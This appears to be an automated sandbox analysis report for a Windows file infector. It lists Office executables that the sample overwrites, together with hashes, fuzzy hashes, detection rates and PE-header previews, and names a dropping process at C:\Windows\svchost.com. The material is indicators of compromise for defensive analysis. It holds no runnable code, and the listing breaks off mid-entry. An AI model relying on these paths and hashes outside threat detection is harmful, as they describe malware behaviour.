Size (bytes):	137776
Entropy (8bit):	6.525052332322423
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrC1LS+I1HtQdiHN4zbyezltnzGd1XuDxhkrTJwNZ5wmW1aHba:zr8WDrC2Mi+zWeXdswvqiHm
MD5:	27361BE6CB3788839CD6DF5A0A636A6E
SHA1:	A8D3D9E774B7D76F00D10AB28DE26BBCCBC676DB
SHA-256:	A92037FDB4FE25E454D66D24177DD12FE89FAA6F11D0CEEADC687EF824CC3DE1
SHA-512:	3E8E821A4419C45FFA5F15AE574673684B25BDF310D48ED143D2EE6DE19F32F75C7DA0B9AFAFD3C4B27136E0C8632C092E365101E31E559AF731802D38B180F9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1206680
Entropy (8bit):	4.882283973567494
Encrypted:	false
SSDEEP:	12288:Y61ZFViRpx5tuwZl4asd/arEISgX0IkEMhTy:Y61jViRTfVINdCr6gX0hEl
MD5:	F0692573BEC940B10989FB076CF592CF
SHA1:	767783B45CB33834116997839FD3FE8CC197A906
SHA-256:	5ACCAE35532575F704C11E35DE05F5EC6C3A30D56AF91C2D22510157FC131607
SHA-512:	8F0F2881459C49C2F4F2A2E74D463871C157610ACF4FDBBE48FBD14B1798FEE8820822B4A5ED32F7FE871429E91A94859EAA7FD2798062723E594CDBA1364644
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	400336
Entropy (8bit):	6.659452867927771
Encrypted:	false
SSDEEP:	12288:w1rOCPapfd5bhooUBuFiExw/LXa20Dj6EzfJ:8rfIbbhooUBu3wzXa/Dj64
MD5:	3F124E3F206A45B5250F2C1F482B2352
SHA1:	2F23D83DC65BDEE9E726FB20052F01AA53D693F0
SHA-256:	D9D8BDCD8F5BBC87F755DBD7D8D0C7EF52C98A0E3539C8D27C08D3C45888C2C0
SHA-512:	C186E181EEAB666FA4E97FA5B750394421832221B5DF740BA6985AE8EBC49EF67969FD6F429C8F6094CC94EC548CBB3E10A473EE8A2FD52FA00110B6DA44B214
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1662344
Entropy (8bit):	4.281575468495792
Encrypted:	false
SSDEEP:	3072:zr8WDrCPK2OKsuWoZEsVK2OKsuWoZEckAQckAIDpAPfKrss1yyKrss1yAZDvYbNs:PulztkAzkAZqrEdrEAZUCwFjNNYEzcL
MD5:	0861465FD197D10AC5A8C37CE7B6AA62
SHA1:	2D76D722FD6806A45ABB733FD1E54288DFD3A05C
SHA-256:	7812FB1CD726D81ACC193605C5C9EEDF84FCB4A3A912FD5B9012A1A0DD27D5A2
SHA-512:	C019C0EB50A41C009E5878FA4AD38EDA155F79573C9755F2E334BAB3D75B480BB2C20988A560C1CAEAD8198A1AD60A0A4FECC74EEC2EE016CC37D2300B72BBFD
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3531712
Entropy (8bit):	3.7839855914258114
Encrypted:	false
SSDEEP:	6144:Pu/gSRJQYKV++VYwjatvsDVpDsehRAKzYM:yQYZTWbDj5
MD5:	ACFE1EB24D010D197779C47023305858
SHA1:	5EF31BA99319ED468EC9DCB8BF43C888B5A8B48F
SHA-256:	D937B616BB6403C2D0AA39C3BDEFC7A07023C18B2FE1F4AFBB9400AFF2CBEB1F
SHA-512:	048FEEE926AD593265180CE8E07858E28BDB2876A6A41250B9AEDA024429CA89D9A17C1C7FFA2ED73E0349B3F681A92F22730CEE69F411D3698FD5557A5CD027
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83880
Entropy (8bit):	6.544402115664437
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCSKfEBr3fHT4nAzHGkYJ+ziw6+zb:zr8WDrCSPh3IAzHGEJn
MD5:	9A1EAF11C3B1BEE44C0D97E873DB00C9
SHA1:	BD3A58C465171616D344DA00D97D5D49D4097FDC
SHA-256:	A1C8367E088D3CC9FD2D7428A2A220AA76E64096155932A6622023DE677CF804
SHA-512:	6A4A27DFF5939A527C9BE720FDEB7F65558D1A948AF175CD3244E87D9EFCA085B6A51D93E09D5178F05B29DC1334644E9532066C5A47F5C65BC60D27509C14D2
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4319112
Entropy (8bit):	3.816408890865793
Encrypted:	false
SSDEEP:	6144:PuXUh82lTMY/C3uuQyMyquNlBXYJ7M444IB:okyIgG47B
MD5:	0DF102A9ED5DDD0C490485998934BED6
SHA1:	B973807A3692668055A35A29C53C7F38669C8856
SHA-256:	9B42DD935106C8B407E7C607D3CD0AF533DFA3076576AC7EA2D838901CC6B4E2
SHA-512:	497E2C814A5B8B412540018D9BB5B3A47E0545FC7C280DB710052C8F77FF593E58881348B237FA892F7E208B632921D0962266E60CC5797389DA0122525AD496
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	785448
Entropy (8bit):	3.938581251810774
Encrypted:	false
SSDEEP:	6144:PurWSXeSC+hBMdNRneNMToeGYeneqjpGtBlmF:2LevUEcLe9l2
MD5:	B3C5F9613FB03A2AA578C29371295F77
SHA1:	32F9D3D1BF7BA8F34742900B9DA4A0FCF0F975CF
SHA-256:	08320B97919246079B98A5BFD40A67B5DA1452B166F2B9859E21D339998162D1
SHA-512:	5037960BC459159BA3D534B7585D6CD172A5563E075FE98EF1932EBA2BD65BCA37B99D782B1EAB5C33ADBA30DC63E8627140D60BD9028112D01BB9EE5A02EF15
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1081280
Entropy (8bit):	3.77728660153312
Encrypted:	false
SSDEEP:	3072:zr8WDrCqyTUawK12P04ti0o5gmQNJDJnJG20FxPlJPJSS12Zzwww6G:Puqs4wqmQN59wtSS2zwmG
MD5:	1D272485264476CF04C454866CFB49BA
SHA1:	9D13F47B98D36D3A64AFF45A9A04B17925898F5C
SHA-256:	F66B02E79D6DE29DBA8C76616B3F47DF597B386AB58DB30FA7E805E36FA7982E
SHA-512:	797B422388439BC78DA413ECC6749945ED4EA94D354ECEB21C1BEC10C5FA9A955DD02EC79626EB8996CEB36A82FD9D0EBB2F43EA1DF7CE94E8B0CD2D75A1A69C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1722808
Entropy (8bit):	6.4866587360850705
Encrypted:	false
SSDEEP:	49152:Ruoh1EWXRkd+h9y6NsRZ9MtL4kD5G5LVuhqITJemL9SQM3:RuohO2km9PNsRZ9MtL4ktG5LV93
MD5:	17B2C86B269267F4B810DBC51E6D793A
SHA1:	C14E9803B1D7DFBE027BE258957E23D7240C1625
SHA-256:	1EFA16D52D508905C4DBBDE4F450AE4511572E20DFC2AC930623C307410CB735
SHA-512:	B57B92283117554D2F7EF7E85613501F8EB3619980260CE427EAF443729417409BF8C6FA6FB4E1599BFD6EF0B3AC51955CA5CDCB63E9A7B9D680C960FE6545EC
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	307784
Entropy (8bit):	6.541340621340083
Encrypted:	false
SSDEEP:	6144:Pue+OpwoajoJ/cLr6eNI0A2kg79zge/ceeE1+v:3DWhS5g72veeU+v
MD5:	84FFBDBA0110417D41CECC2E90471C0B
SHA1:	3BD410023FAAB616BD19316FC7DA4CF8061843E0
SHA-256:	4C46A3280A95DA909745B05317CC39ABF3C631F79F127F191F1E5AE202A636C9
SHA-512:	FA4B33C8848F4A31D8ABF850997C2311B246EE0103A28A23A688F8FD8DBB2621AB7272DA1CE0C8447F6E8BF4ED97A007599CCBA36A431E5E0CD2BB4E5768FEF7
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	97920
Entropy (8bit):	6.434533395747017
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrC8zKAtCz72I/Q/RPTO5piDDFwzS:zr8WDrC8uFvgy5piDD6zS
MD5:	B35E1DBEB6DE3D98F0D02D5FE062688A
SHA1:	F4C8399B000865937C933ED4D3F7443A6395136A
SHA-256:	BD9D62FD719401FAE645118FBB811EEFA626A2E796FAAF41FF43AE971C46F9C2
SHA-512:	D61B9DE832AD9E160B108640E372DB887D32A4B6CA62652E04410BE0DA0859B79E76FA48B5DB95FFD4A8FFC786D7BC3AC1ECC1964CB3D03385BB2A2AFD923818
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1994448
Entropy (8bit):	6.5494262482330186
Encrypted:	false
SSDEEP:	49152:7l8U9+tiqfG7C+5I6ZOX0Bh4MdDHc/EBRXXZUABfmcQ:7l8+++7hOXODHc/EdQ
MD5:	611A0196619175CA423FC87C3C2B0D17
SHA1:	426524B4E733928688F2CA5E61E110D9BA5E98EA
SHA-256:	EA42CCC4A3105C8D1081D6803C17D7F898F8AE86AFAE34BB3718B15CE1087D55
SHA-512:	6C130A7C935B867353F7E77D0C84BC3F3EE0176ED2327D60969838C409ADC51B2C3B00AC449EFED7327DCFB07007C3D02ED708D2D37837BCB754F25CC60CE7B4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	317344
Entropy (8bit):	4.535670723169867
Encrypted:	false
SSDEEP:	3072:zr8WDrCc6gxe7z3OzY+9jTYbE+lvr8WDrC:PuFggzBEjTYY+lTu
MD5:	141965A6FB0E90317FE0B64C191D2714
SHA1:	90DF3DFBEAF665C1A02F7FD98C31F3C54A349026
SHA-256:	C0DBF04B8708BA508A777F33997E43572CF1DB350D0B568C628DA3272AD6DF51
SHA-512:	835CEB459949226EABE86CEA18C0D50557EE8E611FF95873A0984757D016034698B1D8CFFA835F660227D95214682C96D01803FFCFF80677ACE00371447C161F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	751520
Entropy (8bit):	6.5225913014857735
Encrypted:	false
SSDEEP:	12288:DccV8BFJ0kz4uP9V6wY2M48aVNfffNfYRweSat8UVNfffNfRtAUUn4lDW7f5sBzl:DOFJbl/6r2M48aVNfffNfWVNfffNfDw+
MD5:	5FB2510E2322EB38DBE1414EB158EF02
SHA1:	974C5E74E4D9CBEB1A1BFBA2348E13659578BC38
SHA-256:	7BEA8CDAEEEAB13F9E3C82D520AFD1C8F33A34B519D1FF6B62628DD5C3D9974C
SHA-512:	066195CBFFE4C2EE4D8E39D0C1D7F58A8E54388F22BFF619CCC0E1CD2BCF350A8D81D254C6045F6506EC33F3CB7ACE2C3CA7E77DD05DD05AD6B18F87BB457359
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	182712
Entropy (8bit):	6.321044292407141
Encrypted:	false
SSDEEP:	3072:zr8WDrC3DbGpEPwVH+lMCNy0GEVVS1ikLrDdevXqHai8MBEL4:Pu3XSSwVgvfkhvzHcWEM
MD5:	D6A43031983F75E73D90D8F8F6EE65F3
SHA1:	891DE44CFCE6AC6BC790C766971D94872E8A5073
SHA-256:	28BDD891C54357A87F38A2BF6705BC1B2B6989B5BD3BF4CA750829FBD7FA2B51
SHA-512:	0A96059DE916DC162D297D78AC26B8FAB136E475E2A622CF736E84FCEFAE57C2861D24121E6B87FA70F25401BC8870BB9F2434DFFF77B70E396AE3775DDB2416
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5174360
Entropy (8bit):	7.263145839410475
Encrypted:	false
SSDEEP:	49152:v/xFnOvtaWIDn0apLKkLJU9nU2foKhA4vSWidGHp+NDGQUzbpDOfjxAkrQKl+RPp:RtLK3BDhtvS0Hpe4zbpaAKQkroGIz
MD5:	24FC272DC719890D04C1E6804B0E3D70
SHA1:	8806FFAF77CC4AC229326C83A05472FD7CBB422D
SHA-256:	4400C0D026FD13A51AE0CF1154B2A165BD488EBBC7B1FE8BE9649D72D13DA4AB
SHA-512:	F0D1B9E257B95883AE5F259D749CCAD6B1CF51DD229F602731F377786E161A62784D4F6B96C6535E412761E8D1154B8449A77D05DF8890F2561FBDE5A9D62F38
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 97%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139712
Entropy (8bit):	6.519874180004667
Encrypted:	false
SSDEEP:	3072:zr8WDrCGU5adWAKmzUccnzkVBgEuKjj0WWtPPoI:Put+EjzCg+j6P3
MD5:	7939D58529E97846AD3CE93D63C2778B
SHA1:	36E2D3DAF36C2D0208971A66DAA273B627D43D9E
SHA-256:	131DB672352CDE0AB0154F4E5EE0FD28F93494F5D35FE9572BE2C6BE29467838
SHA-512:	05D79A0F03D4087C970B5E4EA7B08AFAA3C86EB8B8CB4E5F3658DB71CC2DAD969351A1B37FF5384513132846B7B9F022AA5863D02245FBDBE32E4609E3729C9E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	380368
Entropy (8bit):	6.674833575620702
Encrypted:	false
SSDEEP:	6144:PulzgSb/029S2P/7nzGxFrRN0r0ivCZci1FXiO8DaS4wwE0CBlFJmcx:Xw/2q/roN7ivCZci1FC74wdBlFYU
MD5:	10DAF38B33648DB8EC4CAF569EFB8325
SHA1:	D226C4CB3EAC2BBB40C7070DF3360DA6087EF85D
SHA-256:	3ED456CAFC1F681A4823411C4F931DB89A14DD1F4C439814E3C69780F489FB33
SHA-512:	8D0975F6C992DEA085532A41B8542D44CBA540DF7BABF1F81E1EF5A5CFA2CCBA010264B2E96F92CFBFF0A8EEEF18BA90CEC3A0639999FBEBF98EFC4188BD24DC
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1269696
Entropy (8bit):	3.7496395278811394
Encrypted:	false
SSDEEP:	6144:PuTvk8/0NhFYAddenZhUhTNnLUrh+9nTGLljX4wuSzVF:C4wXF
MD5:	622DF9CBD4454B7D31D93A8FF26986A7
SHA1:	D9B343BDE5D6038757BD9D3FC3A1DB5D44FCC406
SHA-256:	1BC8B5224D1EC7C1A84FE6BE3D1FC2584C4407F4776BE701311B5F59CC6B2F72
SHA-512:	CB62A86DF9A944F1BA87FEB86CCBB4C8FE34518F5701B513FC0C837E37E9E0F3D2BCB392FAC866C30D6AED8DFF4B65789134FDFA21B62A049FA701C2BBD86272
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	266648
Entropy (8bit):	4.185481008908313
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCyRaCAd1uhNRuiazvhzpwtWhz7I3EWwwrwYx6RPWdn6ysl4a:zr8WDrCgezzvhF1h3wEWwwbx6ksl4D
MD5:	63852098CCC25D5425C739E6CAD65F4E
SHA1:	DE0C1A4DCA860867D769B155909B5B26323FE00E
SHA-256:	1DF1BE777988330F8D3E437175CA8B9D1CF4AB2C6328EA700013A5A0D766715A
SHA-512:	E6893FD4B8D212754383C86CF493242C8A15408742FF6DBD01A8B6B056EE6F6C359E6E87ABD63628FB54D3719B4C0C9731CA7712C7C78D0CDE7E1231BF814081
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	715760
Entropy (8bit):	6.522162821709477
Encrypted:	false
SSDEEP:	12288:U4tuuLntIMDXw5vde5EFf1Pmbd3lSz3dfp1Swf5M0blmFKuJOJZM30j3:7tFDKMg4iX3djfy0blmFlme303
MD5:	6F1E23677F89E09E3B4D7CBBFAA8E9D6
SHA1:	3BFA1C0F2AF97A85C282E141DD9E7D36D2466211
SHA-256:	CCACC1332115B620976CDB004CF6CFE426AD8CD008F8F0DED6D6F5CB71D8D8F1
SHA-512:	D7E6E401DECBF9989C51EE3F4BEE09F696BF25F13FD723AE7BFDDBFD7B7C2C21367D91289AFC4571B6EF34E541920A307F1F4A09F1680A97A2970E7D3412426A
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	619944
Entropy (8bit):	6.637875601699727
Encrypted:	false
SSDEEP:	12288:NM/Of/Bboj+clWnIKgrP6TFPLNWuX4Pemn3oi8ky9Q8WSe/aSqizuO1qukdQAPnQ:u8JgryFPLNWuX40RulAPn1OcnGVNfffl
MD5:	7A16124F85B72495EE1FE9F639B9231C
SHA1:	6BEC7715F9FBA90EA72176E9211A7D2B66CD2711
SHA-256:	6EC71D7BD6697603174EF482893A6AB891B7C056F407AB7071C4C05B905D3360
SHA-512:	55B7DE7FF27C529E2A13E37C8A5973592865D19FF493F01C6413F6D2921EB08A6225614A9B1A0CF9701397EFF8917C1DB84C3789A915FBDBDC0ACF9BC63ABA17
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	150416
Entropy (8bit):	6.494866167569868
Encrypted:	false
SSDEEP:	3072:zr8WDrCsQPtLW7twRxI5mc5TNN3AsdVgNwihwT3RqEM6ZOfHXb42:PusQMzhdV0nh4Hof7
MD5:	B09DEFF61F6F9FE863E15CCEDDC41BD3
SHA1:	A0E6EF8B3C816C2D588E9E77D08B96D3D0CB097D
